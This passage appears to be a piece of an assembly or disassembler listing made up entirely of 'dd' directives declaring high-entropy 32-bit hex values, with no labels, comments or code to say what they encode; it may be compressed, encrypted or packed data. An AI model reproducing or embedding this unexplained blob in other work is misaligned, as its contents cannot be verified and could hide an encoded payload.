0DC1B756h, 5765EF35h, 3DD4D089h dd 81E96605h, 8CE4825Dh, 2CBE59CDh, 0A0806B13h, 12814FCCh dd 767474CAh, 9FF29F47h, 40E0201Dh, 6CE598BBh, 3AAD8248h dd 1A0400CFh, 364FA48Ch, 0BE4D1C91h, 8823D310h, 6FABC703h dd 9EC6453Eh, 0C5620C18h, 0EE30EC4Ah, 0E8ABAC16h, 87BDF0D0h dd 71020051h, 77D57AD3h, 1509B51Eh, 0B99F046h, 0A0040E1Ch dd 696C192Dh, 0B6453008h, 0BDD63459h, 4C02E740h, 0A416A41Ah dd 0C884CEDAh, 9094C397h, 93C5A8B1h, 4041F6D8h, 2405A3D1h dd 0E411A042h, 0E0B49638h, 993C7734h, 49C4752h, 0D995DCC2h dd 9C227C10h, 0E238AFFCh, 36078046h, 16D03933h, 0AEF002D8h dd 0A4B77204h, 0CA405C5Eh, 309A1Bh, 92F4832Bh, 0D5D2311Ch dd 2794505Ch, 82B8A4AAh, 0E8102760h, 96075127h, 1220E21Ch dd 0B2796D10h, 18007F18h, 770DD702h, 0BE16E2E7h, 38191B4h dd 519259E1h, 0EC92BC61h, 13EA3080h, 72CA2910h, 13D191E0h dd 3B302112h, 9C48ACB3h, 8A40013Ah, 912897B5h, 666880E0h dd 1C59E61Dh, 4B73880h, 0E28E6DADh, 30BFF26Ch, 0DA05D074h dd 0EE458405h, 4BD528A0h, 0C8648B51h, 0C0D0C5AAh, 97A8E654h dd 0B5BD3500h, 0C8BAACF9h, 0C20530C9h, 5188B2F8h, 5881984Ah dd 0C02BFEDh, 304D853h, 2509AAF0h, 1FFCE482h, 0FF310F00h dd 848344E8h, 92007673h, 25DF9CECh, 2EA0D463h, 40E06679h dd 0F9965A59h, 0D5CC7804h, 0C8A11201h, 9B60083Bh, 4C097F16h dd 0A8A0E3F6h, 4E25F35Dh, 8C68C51Eh, 9884DB60h, 0EB5E2DDCh dd 60D12424h, 21774C79h, 0F1C16C62h, 0C0D04C82h, 9EBB02B7h dd 79B42D51h, 2741E862h, 5911F8C8h, 3AB0A9C1h, 2EDD4417h dd 0B6E060EEh, 5816844Fh, 84D72F30h, 31CC3F90h, 410135CAh dd 0F250A241h, 30F931BEh, 253937DEh, 8191934Ah, 7AC3CC2h dd 4E302ADAh, 101180B1h, 0B7F751D6h, 99047496h, 9A3E102Ah dd 29891CC2h, 91B27805h, 26D4B81Ch, 7EA003C4h, 0D234B074h dd 84806901h, 5357E110h, 6506C604h, 6090223Ah, 0B3080540h dd 0C2D865D4h, 0E0A47DACh, 161CF482h, 245AC100h, 9A32BC3Ah dd 3D410791h, 102DD3DFh, 7D9B94BFh, 0AAE9E512h, 842364C9h dd 0BB86A408h, 7311D426h, 5B0C884Bh, 77E2C23Bh, 802FDF5Bh dd 3601BF23h, 7DB3F1Fh, 0B80B4023h, 0C485F4A2h, 8120D5D5h dd 21B931FCh, 0B8203AB8h, 132A893Eh, 82DE1440h, 4A2753B4h dd 511F440Ah, 0E0D2BA13h, 0A8482085h, 580675AEh, 1644F695h dd 468C90C0h, 13D70789h, 0C478CA12h, 0DE90403Eh, 1AB813h dd 0FA97349Dh, 9ED18C26h, 0A45C9324h, 0C0F8CD2Dh, 1A29A5A9h dd 828CA41Fh, 0E854FF80h, 91966245h, 5E514158h, 182EDB8Dh dd 6E08586Fh, 0E3DA0348h, 294B5511h, 0BBC80CCBh, 8778B9C0h dd 3E3903E7h, 0D260330Eh, 2C732100h, 50FB5756h, 18130047h dd 0E9D0E46Fh, 9260015Dh, 55D57D90h, 2532D6Bh, 883168A4h dd 216F6430h, 84A549E4h, 0E6355240h, 0A0A7A060h, 887650A2h dd 49974F0Dh, 0BC7AE1CCh, 4084013h, 24338C08h, 98304B40h dd 882CD22h, 0B02A3DCh, 5A67B95Ch, 0D0B79DC8h, 82CCA409h dd 9ADED0h, 0EBB57598h, 0D3E5910Fh, 9387C148h, 58246EFFh dd 0D0A54B72h, 7645EBDCh, 67F404B5h, 3C0F4C90h, 46FE275Dh dd 0B1A4C44Bh, 3C1433E4h, 0D4410058h, 505CA510h, 11780074h dd 0D143672Eh, 0ED4EE669h, 5432388Ch, 384B4h, 0B1A87913h dd 9CAF7899h, 44A3C027h, 0EBE5000Ch, 248A57E7h, 0CD01179Eh dd 74125201h, 252FE8A1h, 3005185Ch, 874ADD88h, 54C86480h dd 0A94205CBh, 0B8644653h, 985503B8h, 545BB656h, 3B70030h dd 0F940CF6h, 689032D7h, 0B80C4180h, 8517813h, 200D6004h dd 98D73B35h, 1989EB03h, 0E133D308h, 0E4E84A61h, 9A840497h dd 1F121A2h, 9434099Dh, 60927CF8h, 0E49718A5h, 3B1DF738h dd 78300FFCh, 18CC4EEFh, 224B966Fh, 8CC338Eh, 1502123h dd 96A6CC46h, 80A9727Ch, 0FD48348h, 0C0A1C66Ch, 9E518B10h dd 997CFB0Eh, 17062407h dd 0A600CC8Ah, 20F715h, 84465FADh, 10CF86D4h, 9280D0C3h dd 0B005A319h, 1DFAAA21h, 4015A866h, 76676FBCh, 2360F15Ah dd 2439420h, 0A787F63Dh, 63A90820h, 0C58280C0h, 8A1D8010h dd 0A5F42000h, 74CD7E15h, 1272311Ch, 0C055F748h, 490AE16Eh dd 0C8F193A3h, 5D5A7E83h, 75400F24h, 0A38FEA37h, 0FB8E1183h dd 3F233289h, 86229A82h, 0F0399FC4h, 0D06D03ECh, 0F368864Dh dd 8C588D89h, 2093F408h, 0D066004Ah, 6CC8B056h, 7A002DC5h dd 15CCAC89h, 9F8DBC1h, 98180AEDh, 80AC8F88h, 653ED78Ch dd 0CD02742Ch, 0A5450F7Eh, 0B4E4A097h, 333B669h, 10D3631Dh dd 8305315h, 615621ABh, 99F8B6h, 8A5DD87Eh, 0AB928498h dd 1985E0A0h, 10CA271h, 0C9F9B69Ah, 1109009Ch, 9E6ED727h dd 50061E3h, 0F4E558C1h, 3F8CC7Bh, 6C909407h, 484098DAh dd 0D8619390h, 0CD628041h, 5F9A057h, 0D001A042h, 0F98D89F8h dd 24FD1889h, 0F4B63423h, 7BAD3902h, 41EFD920h, 9983D764h dd 0C3BA6C96h, 0A33C6801h, 4998AA8Ch, 0C4095C44h, 0F06C333Eh dd 469672CCh, 252223h, 26CC4155h, 0DF844299h, 8A31CB73h dd 67A12E0Bh, 30864AE0h, 3561A619h, 0FC1E4270h, 0A4986C0Dh dd 0A19CF88h, 99FAF566h, 3F88323Ch, 11CC4A30h, 882B9673h dd 42548026h, 0D63966CCh, 0E9642D05h, 37C18411h, 91A2766Ch dd 0EB120ACh, 0A181FE08h, 0E82247F6h, 49207828h, 966406F1h dd 0A8AD568Ch, 98952232h, 0CC4D303Ah, 43966E11h, 51802888h dd 0F66CCC45h, 0E5F30095h, 137C7F3Fh, 0E4A89082h, 6A4D0D1Dh dd 42368E60h, 3321806Ch, 3F3140ECh, 6E660D7h, 0AB9E29FBh dd 0B0880898h, 0BF52621Ch, 56110130h, 1B61A76Dh, 32F0A2F0h dd 6B79A60Ch, 0C9CB3731h, 3181980h, 24403288h, 3DC8ED7h dd 24F493E3h, 0CFA0EF8h, 0FB5A4E26h, 642CB112h, 0FA41C249h dd 9CA09A83h, 7788295h, 0AC0288D2h, 6303C406h, 4C479216h dd 0B66704C8h, 62531D35h, 5F5420AFh, 0F97964B6h, 0B273480Fh dd 0FD9502A6h, 68C0AA02h, 3284674h, 39CB2A5Dh, 8FA581B7h dd 0A8BF1020h, 2461E0A8h, 101A45h, 81D49C4Eh, 77025FB3h dd 64CCC6ABh, 83384882h, 0F76A2421h, 8C483E6Ch, 151C07C3h dd 13F6713Eh, 2055B802h, 0C87E8594h, 0FE34E467h, 0A3817CD0h dd 2EC10EB8h, 1D80F6E1h, 0D94FB749h, 57581E00h, 0AA5D4A72h dd 0AC50FB82h, 1FD5D615h, 0AF15CADh, 10C2D62h, 0F58B47BCh dd 0CD309632h, 8C3A0452h, 4006A823h, 0D91DFDh, 119BF226h dd 5376C72h, 0E38A9A03h, 992052AAh, 3C607FC0h, 0FDF64099h dd 98A16A05h, 0AC8B3913h, 66C025C8h, 24620912h, 16B69876h dd 49D44296h, 0A880F5B1h, 3F57112Fh, 87FA7512h, 929D4420h dd 68F858BCh, 0FE22144Dh, 5C07B624h, 4E6C4A80h, 1741D3F8h dd 1E507133h, 5C9DC072h, 0BC7E780Dh, 0D8921F17h, 7015EB00h dd 772357CFh, 124C3433h, 44A80868h, 3AB66AC0h, 223B461Dh dd 625900B0h, 3EF07EB6h, 39025F8Eh, 155CA187h, 473840E6h dd 5A02CEFh, 859D94h, 91620A42h, 8A0CC682h, 0F8ADA449h dd 0F6C21F8Eh, 40E9FAFh, 0C852EC19h, 48C41F4h, 9671CC4Ch dd 52381Bh, 2BBDCC44h, 262184C1h, 0E8940F51h, 53162FC7h dd 0E4143EF2h, 3497265Ch, 0ACDDAC0Ah, 784AF03h, 0A84E9916h dd 882CC40h, 0B874129Ah, 5388403Bh, 14BDAADDh, 4880DA34h dd 248A6487h, 4A043h, 0E019E7F1h, 3E4FC278h, 88F8E100h dd 1F957E20h, 1A030CFh, 0ED75A529h, 3EE5F61Ch, 2C458D00h dd 561384h, 5060B341h, 8CD0BFBCh, 0D0F1BCB9h, 5ED0C81Fh dd 6189D608h, 0D9AE391Fh, 9A1D02B8h, 8884EEB8h, 376B209Fh dd 0B94A006Dh, 9BE6811Ah, 4C9006DDh, 0F45F6E26h, 398E6911h dd 2980485Eh, 34400DC4h, 19E8D742h, 0F62DD300h, 8A1F65CBh dd 880A5070h, 0ECB54C7Eh, 1751FD30h, 24911608h, 2E4E6100h dd 258C9A67h, 7401B4EAh, 0D0F69697h, 80195F57h, 1420644Ch dd 330C22EDh, 6E357402h, 52B61C73h, 0BED0020h, 9E9D57F9h dd 48B1B775h, 7D9A3A00h, 43FAC2h, 268B1DE8h, 2ECB7F6Ah dd 0CF176F00h, 11043988h, 0BDD51258h, 3C2C1450h, 0C53E3C40h dd 0FB88D8h, 7A3D4AA8h, 0EE262C8Ch, 8402187Dh, 400280E3h dd 98D8FA9Ch, 2008B0E4h, 3C4C9CAAh, 8CACE894h, 0E7CBCC06h dd 2A40A133h, 7E4079Fh, 0EEC69B0h, 180BD0DEh, 0B4058FD4h dd 0B74A2872h, 4B31B820h, 181F0173h, 1BCF6450h, 3A0C307Ah dd 1C2D2706h, 0E458384Dh, 26512482h, 2E7C1E20h, 64F68320h dd 0C00597EEh, 0B8FA33Bh, 448ED088h, 1E54FCAAh, 837B5FE8h dd 927D3Ah, 2D2214CDh, 703E6BFh, 65FE1328h, 0A2127068h dd 0A4A0E9D4h, 956585FAh, 7C810949h, 7085AF6Eh, 8029D58Ch dd 410F640h, 9A126C90h, 2C1311ACh, 28C54004h, 68304622h dd 1D3411B6h, 80AD886Bh, 0FAB66057h, 0A0029FA1h, 6A1C7CB9h dd 148C693h, 2E46B31Eh, 0E7C29B75h, 7D8E0AA8h, 889D4E05h dd 44C1F9BBh, 80A8EEC1h, 1A1C0E04h, 0E6E14F1Fh, 20E37220h dd 4091B600h, 2B53A200h, 3D8CBFB1h, 62017A34h, 9215B7DFh dd 0B52130F3h, 0B204B01Eh, 0ADFEA509h, 0E091B104h, 0B66D8041h dd 8C431D37h, 5AAE44h, 77EEB665h, 0EF68CD40h, 89F60B06h dd 0CA582125h, 83A4EC6Eh, 351807F7h, 0B858F95Dh, 12500049h dd 22956F30h, 1763FC63h, 80602321h, 3F711C0Eh, 0B000695Ch dd 8066103Fh, 1163617Ah, 99BD190h, 3A761C31h, 38B0829h dd 7C967C10h, 58B1BA20h, 1D87C8A5h, 51011EC5h, 5002A057h dd 0B532E98h, 2BDA3F11h, 0E590A30Ah, 2574A8C4h, 0E4211521h dd 346EF0EEh, 2740F1B0h, 0A0DF2413h, 395840B4h, 9C06E095h dd 675B30E4h, 44382F02h, 871877D8h, 21B068B2h, 0A9988811h dd 0FD09E4E4h, 0C8BDC284h, 4C88DE0h, 331210A3h, 0B1113E8Ch dd 42B1F804h, 0C042E204h, 3D9CF0D0h, 48A61D38h, 0A3CD40E4h dd 28AF18Eh, 1246DA4h, 507A1C67h, 1737F7B0h, 8AAC705h dd 0E020F419h, 969D2664h, 0D88688E0h, 7A4B6C3h, 0F58E1141h dd 0EA832017h, 71DCD5B5h, 0F1418204h, 7F86018h, 8201922h dd 0ACE28498h, 0EA8A506h, 5E740418h, 816CC07Eh, 71FD2EC5h dd 3C1C742Ah, 0CC4F048Ch, 8E33966Ch, 47017F74h, 0FF2B0FCCh dd 4EF00DCBh, 0A2BC28E3h, 5A908881h, 0B0689239h, 2856EA2Ch dd 22C8E3ADh, 42702825h, 2EAFCA0h, 28F62388h, 7CB06063h dd 96F2404Ch, 6092743Ah, 1C3189D0h, 7C4B859h, 6C34C6CCh dd 0F0BA2490h, 880A0C24h, 203C4724h, 8C5DCD78h, 465E7494h dd 0E2050029h, 0E1621F1Eh, 5308128Ah, 0FFF0C0D7h, 292A0C2Ah dd 9800EC9Ah, 5E1558B7h, 0E0FD0A72h, 5F092F5h, 8CA3956Ah dd 4C9481A9h, 0E098A0F7h, 0A4BF0E25h, 0C4A1446Ch, 29BCEC2Ch dd 6660008Ch, 7FD2A78Fh, 211304A3h, 0C848F87Eh, 2660A848h dd 42042515h, 84409772h, 9C96FD9Fh, 0B280F300h, 3732B24h dd 714A1BFh, 0FCB8C69Eh, 2F0337A3h, 3863674Eh, 3DA82354h dd 6DCC5001h, 0E3B96h, 0D4CC484Eh, 0A029006h, 86A7BF9Dh dd 5F82827Ch, 3060C823h, 20BAAA62h, 2213137Ch, 0C887A90Bh dd 0EC38A281h, 476A460h, 731C9B95h, 2EA0D025h, 0A11FE820h dd 740C98CCh, 14CE190Bh, 88DF3E19h, 3B00D658h, 988B774Ch dd 0F66C7E49h, 5B3A7818h, 0F36020CFh, 1F409424h, 8133647Eh dd 0FE28C2DFh, 91DAD0C8h dd 90E52830h, 7B2F2532h, 0B8A9627Bh, 0E0720C68h, 0B4087126h dd 1FBDAA40h, 30B17CBFh, 6318F785h, 0EF171837h, 5D5C2h dd 0D421F101h, 60B7D44Ch, 91EA8F38h, 23468388h, 180565BCh dd 0D24CF19h, 25384820h, 7233102Ch, 0EB9C1FB4h, 97D06C21h dd 253B8085h, 8D53B438h, 7E0420ADh, 2141FE7Ah, 903BF368h dd 94C09AA8h, 3184C7CCh, 0D4F8B954h, 83A0F64Ch, 0E41B57CFh dd 207AB4C8h, 0DB052235h, 0A6061491h, 86EA8C89h, 14097EC4h dd 349DAA1Fh, 0A1AF64C4h, 103F4160h, 0D57082F6h, 80BC1E74h dd 0A47C51F0h, 267231A2h, 79B0D630h, 0EE6A1368h, 12C748C3h dd 0F53950h, 0B47B3408h, 0F303D00Ah, 8C98C621h, 0C16968A3h dd 0C48CC850h, 97988067h, 80AAB549h, 0E70CFCC1h, 5D0CA846h dd 0D0DE7E08h, 10C4B03Dh, 256620E5h, 0B402FB08h, 5C83AB2Eh dd 4048E1BBh, 8C29E8F4h, 8371A407h, 0EC803DA0h, 4DBA28EBh dd 6C096CDBh, 0E844B332h, 66024846h, 5B1D36B6h, 5510AA31h dd 8277B65Eh, 8A0ED15h, 95FC00F8h, 1CFE7EE1h, 75AF01B5h dd 0CE015E5Bh, 9813FC3Eh, 1660C950h, 0C24084B8h, 0F21D2930h dd 2B016B4h, 0FAFCA62Ch, 6290660Eh, 8E7A0539h, 819F64BDh dd 9B6A1Ch, 6992A30Dh, 846441EBh, 809D9939h, 6AD9C725h dd 0B076Dh, 0B1EA1CC0h, 9E39EB19h, 8DCE8602h, 8CF21051h dd 0A09170B4h, 49A21D74h, 0A0139094h, 7748274Eh, 0B77580B1h dd 0E7619CA2h, 1FB3E620h, 841A4E1h, 74E09DCCh, 83780EAh dd 0FE14D302h, 80122330h, 98D17678h, 5411392Fh, 326DF400h dd 2DF6A351h, 465E0CB6h, 775103ABh, 0DA8CBDBFh, 0ADA084CCh dd 2F3D4E40h, 1C2F8ABBh, 0D060AC80h, 8890CD4h, 3599D1FDh dd 46016D02h, 440D25B6h, 33654E80h, 929735A8h, 0FC334980h dd 0D73E3840h, 0DF076C99h, 0FC4159C3h, 2FCDDA90h, 0FFAE0915h dd 30001F7Dh, 538DDB08h, 80AA39CBh, 8E76CC6Ch, 7CF8B4Ch dd 6B1FA3B7h, 0D269303Bh, 8E4C02A0h, 0C8E21D01h, 0D45576C0h dd 9732A0D9h, 39189619h, 0B6CF05C7h, 0C1CC4B08h, 29222178h dd 0DFF317A4h, 0F5628880h, 0DC1C89F8h, 0CC3278BCh, 4EF779E4h dd 5311035Ch, 370EB0Ah, 98542100h, 994544E4h, 0A0780033h dd 0C11488A1h, 6D009519h, 0F7034A4Dh, 0ECB6FE8Dh, 0BA9300E1h dd 677C9478h, 0C2CB3F3Ch, 162804B2h, 7830D012h, 44A0F49Ch dd 1204D88Bh, 26B98280h, 0E01058A9h, 84AF07F2h, 0B0CAB6D4h dd 9AC34D80h, 73D72E1h, 4C331214h, 3274378h, 75B1C0BDh dd 804AAA1Dh, 474DE009h, 10ECC2F0h, 84F12910h, 0C88567E4h dd 64027020h, 5F65248Ch, 0F69008B8h, 0FDCD7E01h, 8C42F853h dd 0FECCA013h, 52C4D5D9h, 443D4FFh, 308C51F0h, 881D1400h dd 0B4271A36h, 2F190256h, 2E1C4183h, 5F940C80h, 7502321Bh dd 0B3E91440h, 2E880030h, 0B40E2116h, 8F321F43h, 802F8F40h dd 791B1844h, 7E137CEFh, 5C28EE8Ah, 1C003B84h, 212044B4h dd 2379EF7Ch, 281128C0h, 0FA1A3B80h, 123D067Dh, 403C76EDh dd 0D7FD8700h, 192E7C40h, 46B40724h, 70C2221Ah, 0EFA102FCh dd 0B3ECD714h, 27F71804h, 264080h, 456356EDh, 0D750BF49h dd 79C782FAh, 1F86407Dh, 28131B70h, 0B4A3188Bh, 8D1DE015h dd 261B1708h, 2E02091Fh, 8DE03386h, 88838038h, 2641793Eh dd 3D8389h, 0CD4EFD0h, 361A9E1Bh, 1E1830E8h, 0D9386246h dd 13F205B3h, 50A103h, 3A3877A0h, 0EF386842h, 33B880ECh dd 416409FDh, 5D2C381Ah, 430AE1E7h, 781C77F1h, 1682863Ch dd 19636948h, 15340030h, 4043087Dh, 5250B447h, 8826022Fh dd 0B441445Ch, 3E5F6838h, 857C2720h, 98020C92h, 7AA5F304h dd 0F8FA2054h, 0E7749A05h, 0C484233Ch, 658F4081h, 80524702h dd 0A2138C0Dh, 0D46019E9h, 40075CADh, 0EC406430h, 0E4B122CBh dd 4832D424h, 4998105Bh, 4460FD2Eh, 30CC3245h, 5FEF4026h dd 49BB58C8h, 60CA4C5Ah, 13045057h, 0AA4ED982h, 0D05979C9h dd 71D5100Ch, 0A219708Ah, 0C29CC42Ch, 3769F60h, 7CD0080Bh dd 32135B2Ch, 51702486h, 588868F6h, 6BA5D4EEh, 0F6B81198h dd 62AA0D60h, 940359C2h, 1CA68214h, 584E043h, 0BF216A66h dd 216BF3C4h, 2AB5C4FCh, 6E100C46h, 55B6130Fh, 0B004F452h dd 1C421D19h, 18C48273h, 0F27A5117h, 0A591B021h, 0B8A88214h dd 783CCC50h, 182BB2CBh, 2F8452FDh, 7010849Ah, 28C00366h dd 0D4C3D054h, 8A23E1Ch, 5AE40ECBh, 9140F38Ah, 31830442h dd 9000D31Eh, 101F49B6h, 0B755F898h, 56AAE1ACh, 9805EC24h dd 0F41985F6h, 8C06985Eh, 0B88B7FEh, 7E62D78Bh, 0E692D882h dd 7AC2184Bh, 0D0174080h, 9724844Fh, 44680496h, 0BF2239C4h dd 1950DC2Ah, 9084A81Ah, 0A292256Ch, 1F45F864h, 50CF4843h dd 45DA0441h, 52BFF1D4h, 0C719E20Ch, 4586D20Ch, 0C1C42B7h dd 4898F433h, 8205F2C5h, 201E5C85h, 1DF2D88Ch, 0EA404D62h dd 0FDFE18D4h, 0CE5FF8C9h, 950EF0C0h, 0CE7E4018h, 9C26FF2Ch dd 4A019D4h, 742C1096h, 0FB22F0DCh, 786A0C0Eh, 75E1FDAAh dd 78F3D13Eh, 1B44Ah, 9CCB182Fh, 1F9F489Eh, 282D19CCh dd 1FC402FFh, 383050A3h, 0DCC6FDCCh, 0EE648421h, 8D0C80CFh dd 0A7630EFAh, 13FEB618h, 0C0F69F39h, 0EDA8DA8h, 8948195h dd 39BCF264h, 51B61A98h, 0B43DD71Ch, 0C81FFEA3h, 3D432E74h dd 0D0BF9B7Ah, 29B71996h, 2CAC1808h, 985415A0h, 9192C450h dd 0F5710280h, 0D441E89Dh, 98E0970Ah, 9D4F800Eh, 0A6B6F341h dd 18A8CBE3h, 48099000h, 1210049Bh, 0A33C07ADh, 11C53B0Eh dd 0B0CDBCC0h, 397E0F60h, 86431BB8h, 977CB6Ch, 202F4E00h dd 9E0BD3D7h, 90FA15CFh, 0B1CA4C9Dh, 0AA670280h, 0E091B811h dd 47601187h, 77D84880h, 0CE1997ACh, 9307F0C8h, 920CC888h dd 0B0F3A520h, 0B3FD1E96h, 8CC0A5A3h, 29ECB2CCh, 2430F75Fh dd 74D3531Fh, 50A77D04h, 4F80CCFCh, 1EEC5F75h, 58F51F27h dd 74D47118h, 141E824Fh, 3480AC2Ch, 0F0F3CC6Fh, 56B530D6h dd 0D28D1771h, 0C5113C9Ch, 626E4F00h, 0F87F89D3h, 0B6955D09h dd 5BF82006h, 0F210DC83h, 0DDD603DBh, 0E19F63BEh, 0E954022h dd 8C0195Eh, 8C90B26Ah, 0EA10C518h, 3B10808Ah, 942E31Fh dd 0E6178E84h, 0C10D5006h, 0D8777902h, 44741C93h, 6E382A74h dd 5E6700BCh, 0FFD3DC41h, 0A467A6CEh, 0CF004079h, 8DE7BEh dd 556E59B6h, 0DFDC82E2h, 9F46C609h, 0FC2C02D6h, 0D01F00CBh dd 6F743649h, 35541700h, 441EED84h, 0C490970Eh, 0D000C668h dd 0D7E5CBDDh, 15E6045Dh, 0D00E731Bh, 8D1C4224h, 1759FB91h dd 11F38688h, 11D07503h, 0D576EC89h, 99F688C2h, 0A825CFD4h dd 6056243Dh, 0C3749C0Dh, 0D1CC3021h, 6CC5EE41h, 0CC850C40h dd 30D649B6h, 1F70305Fh, 1105EF4Fh, 7431C0ABh, 28B51882h dd 82EBC514h, 3082D538h, 0E113B874h, 0B8641012h, 84458872h dd 7E2EE800h, 2D989C1Bh, 814C0109h, 0B63D52BDh, 0F79180F2h dd 0C815C40Eh, 85A2CC5h, 0BE160999h, 314D0411h, 0C2280B68h dd 1DBC0EE7h, 3C486403h, 2C02ADC7h, 48FD093Dh, 127B949Ch dd 0E2A2E9EBh, 74F30074h, 0B4E520C8h, 0FFCF12D5h, 0F91C2245h dd 0B364E18h, 5B56972h, 0D23B88A2h, 7AA9890h, 1315F0B9h dd 582100Ch, 0F4C56B88h, 42F5082h, 393CF364h, 80660B34h dd 60745151h, 7D73D37h, 6D3FE502h, 6223B798h, 65B07CB0h dd 8608C16Bh, 0B0323F58h dd 644C20FFh, 47D88D0h, 0C77D3102h, 717EDD14h, 2FF9F184h dd 0F921987Eh, 5E68767Ah, 4E000B46h, 1477E289h, 0D42D2C43h dd 0B89C10C5h, 0AA2F004Ah, 1AEBDD6Dh, 7201A197h, 7A811C3Ch dd 98D8BF47h, 60ACA142h, 4906E18h, 0AC70862Bh, 4B216038h dd 714AD067h, 0EC509AA6h, 74CD0544h, 0C1BFC364h, 303C773Ah dd 27901F52h, 7E9DF70Bh, 0E48445CDh, 0EB4163B0h, 346BE806h dd 0D8563E61h, 7610DCDCh, 64E3CBA1h, 0CA665AF0h, 0C01088A8h dd 0B4A64B50h, 25C44E58h, 649C60ABh, 5871581Ch, 73FE8D80h dd 8200B00Bh, 7AB87B6Dh, 41FC58Eh, 0D0A23584h, 0BC4A098h dd 9CCE0E4Eh, 0E2C1ABC8h, 8DCEC9Ah, 2CE0484Bh, 4C12D111h dd 9150331Ch, 0B164C222h, 0CC4172DCh, 0DC589086h, 4F9340F5h dd 25989890h, 0C856C102h, 7070FD9Bh, 5C979D60h, 7862691h dd 7E1F98DAh, 7AC0DEACh, 20EC1689h, 4B3100AAh, 8E1115A9h dd 2900F6EEh, 47E51F7Ch, 1262AB53h, 0A6271281h, 0A8C5E354h dd 50671C0h, 13315FEEh, 0FE0A202h, 45BC4E57h, 2C13B986h dd 0EB0188B2h, 0DCDED598h, 0CC9CF06Bh, 0C81D590Bh, 0FEEE0045h dd 3074D17Eh, 0F7317F1Ch, 0D50F1E3Eh, 4FE12E50h, 0E8EC949Eh dd 0F0188CA8h, 5B9119FCh, 0A27800C8h, 0BA1CA711h, 0E31327B2h dd 43A5D75h, 72010D23h, 0AA34F838h, 73A5A21h, 4025C844h dd 3375C57Eh, 144B7A5Eh, 49A8980Ch, 0CC0A00F1h, 37DD2778h dd 0D89589F8h, 0FE600B8h, 11B39072h, 0A037C674h, 3BB4106h dd 0A81EA63Ch, 2568136Ah, 84041875h, 0F9B64E49h, 0A8D015A1h dd 0C3E30350h, 452620DCh, 5335D0D8h, 55EFC800h, 0A798642Eh dd 8A210933h, 0C4891B22h, 1079FCD1h, 0BE7C1E18h, 0A7DA4D0Bh dd 0A3DC9055h, 98A8008Ch, 0A67834FBh, 0D0B81D3Fh, 7747090h dd 0B9871730h, 0F4D611Ch, 86BFCD95h, 90197F8Ch, 0A423CBCh dd 3864F073h, 5A81E114h, 2E9F821Ch, 0B84E2FFDh, 173DC2B2h dd 607C62C8h, 40F48830h, 9D4B21A5h, 8026989Ch, 6F1ACF1Fh dd 0D6689807h, 0B0D512C8h, 31FF8C80h, 0E78740D6h, 3B974F67h dd 606481DCh, 4670204Fh, 4C68483Fh, 318B3064h, 3A867A0Ch dd 1C8CE98Eh, 61F10B80h, 23C062F9h, 0D0700162h, 0E80864Ch dd 0D069510Eh, 6B04B260h, 0A05290FAh, 0EB9425C8h, 888077DCh dd 1097D11Fh, 8CF178h, 0E1290743h, 73B3FA11h, 81CB8039h dd 998FBB4Fh, 30302F6Eh, 515507FDh, 4368DB57h, 0B5D3753Bh dd 48017FC3h, 0AF9D4F2Eh, 1E2FD955h, 38A400A0h, 0E598AC1Fh dd 0E7530700h, 4109F78h, 88E64FABh, 0CF0F8020h, 0EFBCEEBDh dd 22D40064h, 7FA6E2h, 8DE02F26h, 8F31DCB1h, 53084900h dd 0A9A778DDh, 31500B4h, 8DE59609h, 390062D5h, 9D90CA72h dd 1590D0Ch, 87F3186Eh, 0E6FC8C25h, 15605854h, 0AB5D1BCh dd 0EFA065F9h, 3E118788h, 0F3542043h, 990706EDh, 0C4778762h dd 5882B6C2h, 0CD8E807Ch, 8D164C71h, 739A3300h, 9BE37860h dd 892C0C02h, 40FE80B3h, 502D1555h, 60E0042Ah, 0D7B511A1h dd 0F101F81Ah, 9ACE27C8h, 0F3304D67h, 145B040h, 48B0A02Ch dd 0F03018CBh, 911B9E31h, 0C04025F7h, 968333h, 98A415BDh dd 3017DA3Eh, 0B054761Dh, 282D7920h, 3382673h, 7BFA297Fh dd 20074460h, 1633F48Ch, 0B06222FEh, 0C1666277h, 2209093h dd 3C5C0027h, 7494CF2Dh, 2000E66Eh, 0D638B301h, 22FCB2h dd 832949E9h, 9E1B6594h, 6144C050h, 0B25551C1h, 3184D2A8h dd 867C88EBh, 0A401800Eh, 16FA08A0h, 48F08030h, 2A18C12Eh dd 8F1A14B0h, 0ACAC4148h, 0D61831h, 3BF14F71h, 3C5BF725h dd 189431D0h, 0FA48E2CCh, 0FDA47868h, 7C4003C3h, 466F4ACh dd 0FD587066h, 0F8DE3428h, 4D0516Ah, 873104ACh, 0C5F110F4h dd 5FC1B847h, 9440E2F8h, 566B351h, 0EA8515ECh, 0F18007C1h dd 2AEFF09Bh, 0E5645760h, 4D21C729h, 0E30F11C0h, 9219F200h dd 12FD243Eh, 6C00183Dh, 0D6A45066h, 1DBEEA53h, 0C159FBBFh dd 304913ACh, 473DE802h, 54E70B00h, 8CCDF1E0h, 83CC3FF6h dd 0DEC500F2h, 8DCA7127h, 0FF040A17h, 0DC58BB37h, 0C3E694C0h dd 0D7BD0099h, 0CF4870AFh, 2960B869h, 0C27D73F0h, 7A04002Eh dd 0A10B3D1Dh, 0B900B53Ch, 0AEC5E012h, 1E2F72F8h, 0F948A622h dd 0CFEB6B80h, 1A216D97h, 838E9C00h, 2EBA9EFDh, 0A84FE8E8h dd 702F1A8h, 0CCBE32F4h, 0BF7D434Ah, 8B30690Fh, 0CB71E05Ah dd 3050AE11h, 0EF599ED1h, 313BF8B9h, 0CB0F80B5h, 25E0684Eh dd 0FDBD0012h, 0FEF21D98h, 22767A50h, 16D0D600h, 1A131FDBh dd 0C58006Dh, 0F5E0D1Bh, 80007FADh, 22216747h, 11879Fh dd 0DAECFA51h, 0A4969B1Eh, 0EE7D400h, 6CCDB2D8h, 0AF4800E6h dd 8BDDD569h, 1A070274h, 8416D3Bh, 0B1EBB2C0h, 0EDF9032Fh dd 75B0564Fh, 518CC0E4h, 49000E50h, 1B1F5936h, 6B5E2Ah dd 0E217CE87h, 0E3FAEF72h, 0D7847400h, 0ACC51681h, 51C0A87Fh dd 9007032Fh, 91E25C42h, 30D78EE1h, 0C000D5C8h, 0F45E8415h dd 7C93A9BFh, 0F3DE3910h, 0DF2BA701h, 0EC7817BDh, 8C1C168Fh dd 0C200727Ch, 76B8283Ch, 0A7A60C1Fh, 0BD682EEDh, 0A486803h dd 0D8D45AE6h, 0EC8AD1h, 6A47AB5h, 9F99A89Dh, 8310B33Dh dd 60F6C2C7h, 761FA854h, 0C69A076Bh, 308284B0h, 5AD617CAh dd 80BCCF36h, 0CCE90AA6h, 9FCF616h, 403806D8h, 294C8966h dd 0AAC500FBh, 